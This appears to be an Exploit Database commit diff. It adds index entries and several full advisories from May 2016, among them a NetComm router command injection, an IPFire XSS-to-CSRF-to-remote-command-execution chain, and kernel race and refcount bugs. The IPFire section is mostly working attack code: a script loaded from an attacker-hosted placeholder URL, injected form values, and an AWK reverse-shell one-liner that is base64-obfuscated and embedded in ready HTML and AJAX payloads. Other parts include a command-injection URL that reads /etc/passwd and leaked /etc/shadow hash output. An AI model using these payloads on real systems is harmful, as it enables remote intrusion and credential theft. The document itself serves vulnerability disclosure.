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DB: 2016-05-05

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14 new exploits

Alibaba Clone B2B Script - Admin Authentication Bypass
CMS Made Simple < 2.1.3 & < 1.12.1 - Web Server Cache Poisoning
Acunetix WP Security Plugin 3.0.3 - XSS
NetCommWireless HSPA 3G10WVE Wireless Router – Multiple Vulnerabilities
TRN Threaded USENET News Reader 3.6-23 - Local Stack-Based Overflow
IPFire < 2.19 Core Update 101 - Remote Command Execution
PHP Imagick 3.3.0 - disable_functions Bypass
ImageMagick < 6.9.3-9 - Multiple Vulnerabilities
OpenSSL Padding Oracle in AES-NI CBC MAC Check
Zabbix Agent 3.0.1 - mysql.size Shell Command Injection
McAfee LiveSafe 14.0 - Relocations Processing Memory Corruption
Linux (Ubuntu 14.04.3) - perf_event_open() Can Race with execve() (/etc/shadow)
Linux Kernel 4.4.x (Ubuntu 16.04) - Use-After-Free via double-fdput() in bpf(BPF_PROG_LOAD) Error Path Local Root Exploit
Linux (Ubuntu 16.04) - Reference Count Overflow Using BPF Maps
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Offensive Security 2016-05-05 05:04:38 +00:00
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files.csv
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@ -35969,3 +35969,17 @@ id,file,description,date,author,platform,type,port
39755,platforms/windows/remote/39755.py,"Acunetix WVS 10 - Remote Command Execution (System)",2016-05-02,"Daniele Linguaglossa",windows,remote,0
39756,platforms/linux/remote/39756.rb,"Apache Struts Dynamic Method Invocation Remote Code Execution",2016-05-02,metasploit,linux,remote,8080
39757,platforms/android/local/39757.txt,"QSEE - PRDiag* Commands Privilege Escalation Exploit",2016-05-02,laginimaineb,android,local,0
39759,platforms/php/webapps/39759.txt,"Alibaba Clone B2B Script - Admin Authentication Bypass",2016-05-04,"Meisam Monsef",php,webapps,80
39760,platforms/php/webapps/39760.txt,"CMS Made Simple < 2.1.3 & < 1.12.1 - Web Server Cache Poisoning",2016-05-04,"Mickaël Walter",php,webapps,80
39761,platforms/php/webapps/39761.txt,"Acunetix WP Security Plugin 3.0.3 - XSS",2016-05-04,"Johto Robbie",php,webapps,80
39762,platforms/cgi/webapps/39762.txt,"NetCommWireless HSPA 3G10WVE Wireless Router – Multiple Vulnerabilities",2016-05-04,"Bhadresh Patel",cgi,webapps,80
39764,platforms/linux/local/39764.py,"TRN Threaded USENET News Reader 3.6-23 - Local Stack-Based Overflow",2016-05-04,"Juan Sacco",linux,local,0
39765,platforms/cgi/webapps/39765.txt,"IPFire < 2.19 Core Update 101 - Remote Command Execution",2016-05-04,"Yann CAM",cgi,webapps,0
39766,platforms/php/webapps/39766.php,"PHP Imagick 3.3.0 - disable_functions Bypass",2016-05-04,RicterZ,php,webapps,0
39767,platforms/multiple/dos/39767.txt,"ImageMagick < 6.9.3-9 - Multiple Vulnerabilities",2016-05-04,"Nikolay Ermishkin",multiple,dos,0
39768,platforms/multiple/dos/39768.txt,"OpenSSL Padding Oracle in AES-NI CBC MAC Check",2016-05-04,"Juraj Somorovsky",multiple,dos,0
39769,platforms/linux/local/39769.txt,"Zabbix Agent 3.0.1 - mysql.size Shell Command Injection",2016-05-04,"Timo Lindfors",linux,local,0
39770,platforms/windows/dos/39770.txt,"McAfee LiveSafe 14.0 - Relocations Processing Memory Corruption",2016-05-04,"Google Security Research",windows,dos,0
39771,platforms/linux/dos/39771.txt,"Linux (Ubuntu 14.04.3) - perf_event_open() Can Race with execve() (/etc/shadow)",2016-05-04,"Google Security Research",linux,dos,0
39772,platforms/linux/local/39772.txt,"Linux Kernel 4.4.x (Ubuntu 16.04) - Use-After-Free via double-fdput() in bpf(BPF_PROG_LOAD) Error Path Local Root Exploit",2016-05-04,"Google Security Research",linux,local,0
39773,platforms/linux/dos/39773.txt,"Linux (Ubuntu 16.04) - Reference Count Overflow Using BPF Maps",2016-05-04,"Google Security Research",linux,dos,0

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129
platforms/cgi/webapps/39762.txt Executable file
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Title:
====
NetCommWireless HSPA 3G10WVE Wireless Router – Multiple vulnerabilities
Credit:
======
Name: Bhadresh Patel
Company/affiliation: HelpAG
Website: www.helpag.com
CVE:
=====
CVE-2015-6023, CVE-2016-6024
Date:
====
03-05-2016 (dd/mm/yyyy)
Vendor:
======
NetComm Wireless is a leading developer and supplier of high performance
communication devices that connect businesses and people to the internet.
Products and services:
Wireless 3G/4G broadband devices
Custom engineered technologies
Broadband communication devices
Customers:
Telecommunications carriers
Internet Service Providers
System Integrators
Channel partners
Enterprise customers
Product:
=======
HSPA 3G10WVE is a wireless router
It integrates a wireless LAN, HSPA module and voice gateway into one
stylish unit. Insert an active HSPA SIM Card into the slot on the rear
panel & get instant access to 3G internet connection. Etisalat HSPA
3G10WVE wireless router incorporates a WLAN 802.11b/g access point, two
Ethernet 10/100Mbps ports for voice & fax. Featuring voice port which
means that one can stay connected using the internet & phone. If one
need a flexible internet connection for his business or at home; this is
the perfect solution.
Customer Product link: http://www.etisalat.ae/nrd/en/generic/3.5g_router.jsp
Abstract:
=======
Multiple vulnerabilities in the HSPA 3G10WVE wireless router enable an
anonymous unauthorized attacker to 1) bypass authentication and gain
unauthorized access of router's network troubleshooting page (ping.cgi)
and 2) exploit a command injection vulnerability on ping.cgi, which
could result in a complete system/network compromise.
Report-Timeline:
============
03-09-2015: Vendor notification
08-09-2015: Vendor Response/Feedback
02-05-2016: Vendor Fix/Patch
03-05-2016: Public Disclosure
Affected Software Version:
=============
3G10WVE-L101-S306ETS-C01_R03
Exploitation-Technique:
===================
Remote
Severity Rating (CVSS):
===================
10.0 (Critical) (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Details:
=======
Below listed vulnerabilities enable an anonymous unauthorized attacker
to gain access of network troubleshooting page (ping.cgi) on wireless
router and inject commands to compromise full system/network.
1) Bypass authentication and gain unauthorized access vulnerability -
CVE-2015-6023
2) Command injection vulnerability - CVE-2016-6024
Vulnerable module/page/application: ping.cgi
Vulnerable parameter: DIA_IPADDRESS
Proof Of Concept:
================
PoC URL:
http(s)://<victim_IP>/ping.cgi?DIA_IPADDRESS=4.2.2.2;cat%20/etc/passwd
PoC Video: https://www.youtube.com/watch?v=FS43MRG7RDk
Patched/Fixed Firmware and notes:
==========================
ftp://files.planetnetcomm.com/3G10WVE/3G10WVE-L101-S306ETS-C01_R05.bin
NOTE: Verified only by Vendor
Credits:
=======
Bhadresh Patel
Senior Security Analyst
HelpAG (www.helpag.com)

252
platforms/cgi/webapps/39765.txt Executable file
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######################################################################################
# Exploit Title: IPFire < 2.19 Update Core 101 XSS to CSRF to Remote Command Execution
# Date: 04/05/2016
# Author: Yann CAM @ Synetis - ASafety
# Vendor or Software Link: www.ipfire.org
# Version: lesser-than 2.19 Core Update 101
# Category: Remote Command Execution / XSS
# Google dork:
# Tested on: IPFire distribution
######################################################################################
IPFire firewall/router distribution description :
======================================================================
IPFire is a free Linux distribution which acts as a router and firewall in the first instance. It can be maintained via
a web interface. The distribution furthermore offers selected server daemons and can easily be expanded to a SOHO server.
IPFire is based on Linux From Scratch and is, like the Endian Firewall, originally a fork from IPCop. Since Version 2,
only IPCop's web interface is used.
Vulnerability description :
======================================================================
As others linux-router based firewall that I've tested and analyzed, IPFire (based on IPCop) have some vulnerabilities.
Through an XSS, it's possible to bypass CSRF-referer checking and exploit a Remote Command Execution to gain a full reverse-shell.
The method detailed below is very similar to the one presented in my previous article for IPCop some year ago.
IPCop 2.1.4 Remote Command Execution : https://www.asafety.fr/vuln-exploit-poc/xss-rce-ipcop-2-1-4-remote-command-execution/
Proof of Concept 1 :
======================================================================
A non-persistent XSS in GET param is available in the ipinfo.cgi. The injection can be URLencoded with certain browsers
or blocked with Anti-XSS engine.
This XSS works on IE and affect IPFire version < 2.19 Core Update 101.
File /srv/web/ipfire/cgi-bin/ipinfo.cgi line 87 :
&Header::openbox('100%', 'left', $addr . ' (' . $hostname . ') : '.$whoisname);
PoC:
https://<IPFire>:444/cgi-bin/ipinfo.cgi?<script>alert(/RXSS-Yann_CAM_-_Security_Consultant_@ASafety_-_SYNETIS/)</script>
Proof of Concept 2 :
======================================================================
CSRF exploit bypass from previous XSS.
IPFire is protected against CSRF attack with a referer checking on all page.
It's possible to bypass this protection with the previous XSS detailed.
To do this, load a third party JS script with the XSS, and make Ajax request over IPFire context (so with the right referer).
This XSS works on IE and affect IPFire version < 2.19 Core Update 101.
File /srv/web/ipfire/cgi-bin/ipinfo.cgi line 87 :
&Header::openbox('100%', 'left', $addr . ' (' . $hostname . ') : '.$whoisname);
PoC :
Host a third party JS script on a web server accessible from IPFire. In this JS script, load JQuery dynamically and perform any AJAX request to an IPFire targeted page.
All AJAX request bypass the CSRF protection.
* Third party JS script, host in http://<PENTESTER_WEBSITE>/x.js:
var headx=document.getElementsByTagName('head')[0];
var jq= document.createElement('script');
jq.type= 'text/javascript';
jq.src= 'http://code.jquery.com/jquery-latest.min.js';
headx.appendChild(jq);
function loadX(){ // AJAX CSRF bypass referer checking !
$.ajax({
type: 'POST',
url: "https://<IPFire_IP>:444/cgi-bin/<TARGETED_PAGE>",
contentType: 'application/x-www-form-urlencoded;charset=utf-8',
dataType: 'text',
data: '<YOUR_DATA>'
}); // payload of your choice
}
setTimeout("loadX()",2000);
* XSS to load dynamically this third party script :
var head=document.getElementsByTagName('head')[0];var script= document.createElement('script');script.type= 'text/javascript';script.src= 'http://<PENTESTER_WEBSITE>/x.js';head.appendChild(script);
* Escape this string with escape() Javascript method :
%76%61%72%20%68%65%61%64%3D%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%5B%30%5D%3B%76%61%72%20%73%63%72%69%70%74%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%73%63%72%69%70%74%2E%74%79%70%65%3D%20%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%3B%73%63%72%69%70%74%2E%73%72%63%3D%20%27%68%74%74%70%3A%2F%2F%31%39%32%2E%31%36%38%2E%31%35%33%2E%31%2F%78%2E%6A%73%27%3B%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0A%09%09%09
* Make the final URL with XSS in GET param that load dynamically the third party script (IE) :
https://<IPFire_IP>:8443/cgi-bin/ipinfo.cgi?<script>eval(unescape("%76%61%72%20%68%65%61%64%3D%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%5B%30%5D%3B%76%61%72%20%73%63%72%69%70%74%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%73%63%72%69%70%74%2E%74%79%70%65%3D%20%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%3B%73%63%72%69%70%74%2E%73%72%63%3D%20%27%68%74%74%70%3A%2F%2F%31%39%32%2E%31%36%38%2E%31%35%33%2E%31%2F%78%2E%6A%73%27%3B%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0A%09%09%09"))</script>
Proof of Concept 3 :
======================================================================
Remote Command Execution in the proxy.cgi file. This file is protected from CSRF execution.
Affected version < 2.19 Core Update 101.
File /srv/web/ipfire/cgi-bin/proxy.cgi line 4137 :
system("/usr/sbin/htpasswd -b $userdb $str_user $str_pass");
The $str_pass isn't sanitized before execution in command line. It's possible to change the "NCSA_PASS" and "NCSA_PASS_CONFIRM" post data with arbitrary data.
So the RCE can be exploited with this PoC (if the Referer is defined to IPFire URL) :
<html>
<body>
<form name='x' action='https://<IPFire_IP>:444/cgi-bin/proxy.cgi' method='post'>
<input type='hidden' name='NCSA_PASS' value='||touch /tmp/x;#' />
<input type='hidden' name='NCSA_PASS_CONFIRM' value='||touch /tmp/x;#' />
<input type='hidden' name='NCSA_USERNAME' value='yanncam' />
<input type='hidden' name='ACTION' value='Ajouter' />
</form>
<script>document.forms['x'].submit();</script>
</body>
</html>
Note that the ACTION POST param depend on the IPFire language defined.
Proof of Concept 4 :
======================================================================
Finally, with these three previous PoC, it's possible to combine all the mechanisms to gain a full reverse-shell on IPFire.
IPFire does not have netcat nor telnet, socat, python, ruby, php etc ...
The only way to make a reverse-shell is to use Perl or AWK technics. In this PoC, it's the AWK technic that is used :
(From ASafety Reverse-shell cheat-sheet : http://www.asafety.fr/vuln-exploit-poc/pentesting-etablir-un-reverse-shell-en-une-ligne/)
* The reverse-shell one-line with AWK is :
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
* To bypass IPFire filter, you need to encode this command in base64 (after modify <IP> and <PORT>) :
YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWxlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIGM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8JiBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsgfX0nIC9kZXYvbnVsbA==
* Place a \n at each bloc of 64 chars in the base64 version :
YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==
* This payload can be echo'ed and decoded with openssl, on the fly, into IPFire :
echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d
* To execute this payload, add backticks and eval call :
eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d`
* Your payload is ready to be used into POST param in proxy.cgi, like the previous PoC :
||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d`;#
* Full PoC (IPFire < 2.19 Core Update 101)
(if the referer is defined to IPFire URL, and a netcat is listening # nc -l -vv -p 1337) :
<html>
<body>
<form name='x' action='https://<IPFire_IP>:444/cgi-bin/proxy.cgi' method='post'>
<input type='hidden' name='NCSA_PASS' value='||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjAuMi8xMzM3Ijsg\nd2hpbGUoNDIpIHsgZG97IHByaW50ZiAic2hlbGw+IiB8JiBzOyBzIHwmIGdldGxp\nbmUgYzsgaWYoYyl7IHdoaWxlICgoYyB8JiBnZXRsaW5lKSA+IDApIHByaW50ICQw\nIHwmIHM7IGNsb3NlKGMpOyB9IH0gd2hpbGUoYyAhPSAiZXhpdCIpIGNsb3NlKHMp\nOyB9fScgL2Rldi9udWxs" | openssl enc -a -d`;#' />
<input type='hidden' name='NCSA_PASS_CONFIRM' value='||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjAuMi8xMzM3Ijsg\nd2hpbGUoNDIpIHsgZG97IHByaW50ZiAic2hlbGw+IiB8JiBzOyBzIHwmIGdldGxp\nbmUgYzsgaWYoYyl7IHdoaWxlICgoYyB8JiBnZXRsaW5lKSA+IDApIHByaW50ICQw\nIHwmIHM7IGNsb3NlKGMpOyB9IH0gd2hpbGUoYyAhPSAiZXhpdCIpIGNsb3NlKHMp\nOyB9fScgL2Rldi9udWxs" | openssl enc -a -d`;#' />
<input type='hidden' name='NCSA_USERNAME' value='yanncam' />
<input type='hidden' name='ACTION' value='Ajouter' />
</form>
<script>document.forms['x'].submit();</script>
</body>
</html>
Note that none <IP>/<Port> are defined in the previous payload, you need to reproduce these different steps.
* With the XSS method to bypass CSRF Referer checking, the third party JS script can be :
var headx=document.getElementsByTagName('head')[0];
var jq= document.createElement('script');
jq.type= 'text/javascript';
jq.src= 'http://code.jquery.com/jquery-latest.min.js';
headx.appendChild(jq);
function loadX(){ // AJAX CSRF bypass referer checking !
$.ajax({
type: 'POST',
url: "https://<IPFire_IP>:444/cgi-bin/proxy.cgi",
contentType: 'application/x-www-form-urlencoded;charset=utf-8',
dataType: 'text',
data: 'NCSA_USERNAME=yanncam&ACTION=Ajouter&NCSA_PASS=||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjEuMzIvMTMzNyI7\nIHdoaWxlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRs\naW5lIGM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAk\nMCB8JiBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShz\nKTsgfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d`;#&NCSA_PASS_CONFIRM=||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC8xOTIuMTY4LjEuMzIvMTMzNyI7\nIHdoaWxlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRs\naW5lIGM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAk\nMCB8JiBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShz\nKTsgfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d`;#'
});
}
setTimeout("loadX()",2000);
* A demonstration video has been realised as PoC here (IPFire < 2.19 Core Update 101) : https://www.youtube.com/watch?v=rBd21aXU83E
Solution:
======================================================================
- Upgrade to IPFire 2.19 Core Update 101
I just want to thank Michael TREMER for his availability, his kindness, his correction speed and quality of the IPFire project I am a regular user.
Report timeline :
======================================================================
2016-04-03 : Vulnerabilities discovered in the latest IPFire version
2016-04-04 : IPFire team alerted with details and PoC through forum and bugtracker
2016-04-05 : Several exchanges between Michael TREMER and me on the BugTracker to fix these vulnerabilities
2016-04-05 : CVE assigment request sent by IPFire team
2016-04-06 : CVE ID denied without any reason, emailed back
2016-04-08 : CVE ID denied again without any reason
2016-04-27 : IPFire 2.19 Core Update 101 available for testing
2016-05-02 : IPFire 2.19 Core Update 101 released
Additional resources :
======================================================================
- www.ipfire.org
- www.ipfire.org/news/ipfire-2-19-core-update-101-released
- planet.ipfire.org/post/ipfire-2-19-core-update-101-is-available-for-testing
- www.ubuntufree.com/ipfire-2-19-core-update-101-patches-cross-site-scripting-vulnerability-in-web-ui/
- news.softpedia.com/news/ipfire-2-19-core-update-101-patches-cross-site-scripting-vulnerability-in-web-ui-503608.shtml
- www.openwall.com/lists/oss-security/2016/04/05/5
- seclists.org/oss-sec/2016/q2/15
- www.synetis.com
- www.asafety.fr
- www.youtube.com/watch?v=rBd21aXU83E
Credits :
======================================================================
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788 Z88 88 88.888888 8888888 888888 88 8888888.
888888. 88 88 888 Z88 88 88 88 88 88 88
8888888 88 88 88 88 88 88 88 88 888
888 88 88 88 88 88888888888 88 88 888888
88 88 88 8. 88 88 88 88 88 888
888 ,88 8I88 88 88 88 88 88 88 .88 .88
?8888888888. 888 88 88 88888888 8888 88 =88888888
888. 88
88 www.synetis.com
8888 Consulting firm in management and information security
Yann CAM - Security Consultant @ Synetis | ASafety
--
SYNETIS | ASafety
CONTACT: www.synetis.com | www.asafety.fr

95
platforms/linux/dos/39771.txt Executable file
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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=807
A race condition in perf_event_open() allows local attackers to leak sensitive data from setuid programs.
perf_event_open() associates with a task as follows:
SYSCALL_DEFINE5(perf_event_open,
struct perf_event_attr __user *, attr_uptr,
pid_t, pid, int, cpu, int, group_fd, unsigned long, flags)
{
[...]
struct task_struct *task = NULL;
[...]
if (pid != -1 && !(flags & PERF_FLAG_PID_CGROUP)) {
task = find_lively_task_by_vpid(pid);
if (IS_ERR(task)) {
err = PTR_ERR(task);
goto err_group_fd;
}
}
[...]
event = perf_event_alloc(&attr, cpu, task, group_leader, NULL,
NULL, NULL, cgroup_fd);
[...]
}
In find_lively_task_by_vpid():
static struct task_struct *
find_lively_task_by_vpid(pid_t vpid)
{
struct task_struct *task;
int err;
rcu_read_lock();
if (!vpid)
task = current;
else
task = find_task_by_vpid(vpid);
if (task)
get_task_struct(task);
rcu_read_unlock();
if (!task)
return ERR_PTR(-ESRCH);
/* Reuse ptrace permission checks for now. */
err = -EACCES;
if (!ptrace_may_access(task, PTRACE_MODE_READ_REALCREDS))
goto errout;
return task;
errout:
[...]
}
Because no relevant locks (in particular the cred_guard_mutex) are held during the ptrace_may_access() call, it is possible for the specified target task to perform an execve() syscall with setuid execution before perf_event_alloc() actually attaches to it, allowing an attacker to bypass the ptrace_may_access() check and the perf_event_exit_task(current) call that is performed in install_exec_creds() during privileged execve() calls.
The ability to observe the execution of setuid executables using performance event monitoring can be used to leak interesting data by setting up sampling breakpoint events (PERF_TYPE_BREAKPOINT) that report userspace register contents (PERF_SAMPLE_REGS_USER) to the tracer. For example, __memcpy_sse2() in Ubuntu's eglibc-2.19 will copy small amounts of data (below 1024 bytes) by moving them through the registers RAX, R8, R9 and R10, whose contents are exposed by PERF_SAMPLE_REGS_USER. An attacker who can bypass userland ASLR (e.g. by bruteforcing the ASLR base address of the heap, which seems to only have ~16 bits of randomness on x86-64) can e.g. use this to dump the contents of /etc/shadow through /bin/su.
(The setting of the kernel.perf_event_paranoid sysctl has no impact on the ability of an attacker to leak secrets from userland processes using this issue.)
simple_poc.tar contains a simple PoC for 64bit that only demonstrates the basic issue by leaking the result of a getpid() call from a setuid executable:
$ ./test
too early
$ ./test
data_head is at 18
RAX: 9559
(If this seems to not be working, try running "while true; do ./test; done | grep -v --line-buffered 'too early'" loops in multiple terminal windows.)
shadow_poc.tar contains a poc which leaks 32 bytes of the user's entry in /etc/shadow on a Ubuntu 14.04.3 desktop VM if ASLR has been disabled (by writing a zero to /proc/sys/kernel/randomize_va_space as root)
$ ./test
data_head is at 1080
got data: hi-autoipd:*:16848:0:99999:7:::
got data: -dispatcher:!:16848:0:99999:7:::
got data: $6$78m54P0T$WY0A/Qob/Ith0q2MzmdS
$ sudo grep user /etc/shadow
user:$6$78m54P0T$WY0A/Qob/Ith0q2MzmdSSj3jmNG117JSRJwD7qvGEUdimyTjgFpJkTNf3kyy4O31cJSBDo00b2JIQTiHhq.hu.:16911:0:99999:7:::
(If it doesn't immediately work, it might need to be re-run a few times.)
The current PoC code isn't very good at hitting the race condition, and with ASLR enabled, dumping hashes from shadow would likely take days. With a more optimized attack, it might be possible to dump password hashes in significantly less time.
Fixed in https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit?id=79c9ce57eb2d5f1497546a3946b4ae21b6fdc438
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39771.zip

82
platforms/linux/dos/39773.txt Executable file
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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=809
Most things in the kernel use 32-bit reference counters, relying on the
fact that the memory constraints of real computers make it impossible to
create enough references to overflow the counters. There are exceptions
for things like `struct file` because it is possible to create references
to them with relatively little memory usage.
Using BPF_MAP_TYPE_PROG_ARRAY maps, it is possible to create
references to BPF programs that only need sizeof(void*) bytes each
(8 bytes on amd64), permitting an overflow after filling ~32GB of memory
that is subject to RLIMIT_MEMLOCK restrictions.
The requirement for more than 32GB of RAM is relatively high, but not
impossible. The requirement that the allocations need to be below
RLIMIT_MEMLOCK is probably the bigger obstacle for exploitation: On most
Linux systems, every user is only permitted to allocate up to 64KiB of RAM.
However:
- There are systems where RLIMIT_MEMLOCK is disabled administratively.
- On systems with containers (e.g. LXC containers), usually every
container's root user has access to 2^16 different UIDs. If an attacker
has control over 9 containers and can share file descriptors between
them or has control over one container with a relatively high number
of mapped UIDs, he should be able to trigger the overflow.
The attached PoC, when run in a Ubuntu 16.04 VM with 40GB RAM and the
RLIMIT_MEMLOCK limit disabled, needs 25 minutes to execute and causes the
following oops:
[ 1850.676543] BUG: unable to handle kernel paging request at ffffc900069c5010
[ 1850.676550] IP: [<ffffffff81173525>] bpf_prog_put_rcu+0x5/0x30
[ 1850.676556] PGD 9bc094067 PUD 9bc095067 PMD 9b4d2b067 PTE 0
[ 1850.676558] Oops: 0000 [#1] SMP
[ 1850.676561] Modules linked in: nls_utf8 isofs vboxsf(OE) snd_intel8x0 snd_ac97_codec ac97_bus snd_pcm snd_seq_midi snd_seq_midi_event joydev snd_rawmidi snd_seq snd_seq_device snd_timer input_leds snd serio_raw soundcore vboxvideo(OE) 8250_fintek drm i2c_piix4 vboxguest(OE) mac_hid parport_pc ppdev lp parport autofs4 hid_generic usbhid hid psmouse ahci libahci fjes video e1000 pata_acpi
[ 1850.676579] CPU: 0 PID: 1861 Comm: overflow Tainted: G OE 4.4.0-21-generic #37-Ubuntu
[ 1850.676581] Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS VirtualBox 12/01/2006
[ 1850.676582] task: ffff8809b2fe4b00 ti: ffff8809b2f3c000 task.ti: ffff8809b2f3c000
[ 1850.676583] RIP: 0010:[<ffffffff81173525>] [<ffffffff81173525>] bpf_prog_put_rcu+0x5/0x30
[ 1850.676585] RSP: 0018:ffff8809b2f3fdb8 EFLAGS: 00010286
[ 1850.676586] RAX: ffffffff81a24f20 RBX: 0000000000000000 RCX: 0000000000000001
[ 1850.676587] RDX: ffff880230ebc110 RSI: ffff880230ebc100 RDI: ffffc900069c5000
[ 1850.676588] RBP: ffff8809b2f3fdc0 R08: 0000000000000000 R09: 0000000000000000
[ 1850.676589] R10: ffff8809b55468e0 R11: ffff880230ebc110 R12: ffffc90814ce6060
[ 1850.676590] R13: ffffc90814ce6000 R14: ffff8809b5a9d1a0 R15: ffff8809b29cf480
[ 1850.676592] FS: 00007fbe54cf5700(0000) GS:ffff8809e3c00000(0000) knlGS:0000000000000000
[ 1850.676593] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[ 1850.676594] CR2: ffffc900069c5010 CR3: 00000009ae9ce000 CR4: 00000000000006f0
[ 1850.676598] Stack:
[ 1850.676599] ffffffff8117810e ffff8809b2f3fde8 ffffffff811783c6 ffffc90814ce6000
[ 1850.676600] 0000000000000008 ffff8809b55468e0 ffff8809b2f3fdf8 ffffffff811729bd
[ 1850.676602] ffff8809b2f3fe10 ffffffff811733b9 ffff880230ebc100 ffff8809b2f3fe58
[ 1850.676603] Call Trace:
[ 1850.676607] [<ffffffff8117810e>] ? prog_fd_array_put_ptr+0xe/0x10
[ 1850.676609] [<ffffffff811783c6>] bpf_fd_array_map_clear+0x36/0x50
[ 1850.676611] [<ffffffff811729bd>] bpf_map_put_uref+0x1d/0x20
[ 1850.676612] [<ffffffff811733b9>] bpf_map_release+0x19/0x30
[ 1850.676616] [<ffffffff8120e514>] __fput+0xe4/0x220
[ 1850.676617] [<ffffffff8120e68e>] ____fput+0xe/0x10
[ 1850.676621] [<ffffffff8109e943>] task_work_run+0x73/0x90
[ 1850.676625] [<ffffffff81083ba4>] do_exit+0x2e4/0xae0
[ 1850.676626] [<ffffffff81084423>] do_group_exit+0x43/0xb0
[ 1850.676628] [<ffffffff810844a4>] SyS_exit_group+0x14/0x20
[ 1850.676632] [<ffffffff818244f2>] entry_SYSCALL_64_fastpath+0x16/0x71
[ 1850.676633] Code: cf 00 55 48 89 e5 48 89 78 08 48 89 07 48 c7 47 08 60 55 e6 81 48 89 3d 4a 20 cf 00 5d c3 0f 1f 84 00 00 00 00 00 66 66 66 66 90 <48> 8b 47 10 3e ff 08 74 01 c3 55 48 8b 7f 10 48 c7 c6 20 2f 17
[ 1850.676649] RIP [<ffffffff81173525>] bpf_prog_put_rcu+0x5/0x30
[ 1850.676650] RSP <ffff8809b2f3fdb8>
[ 1850.676651] CR2: ffffc900069c5010
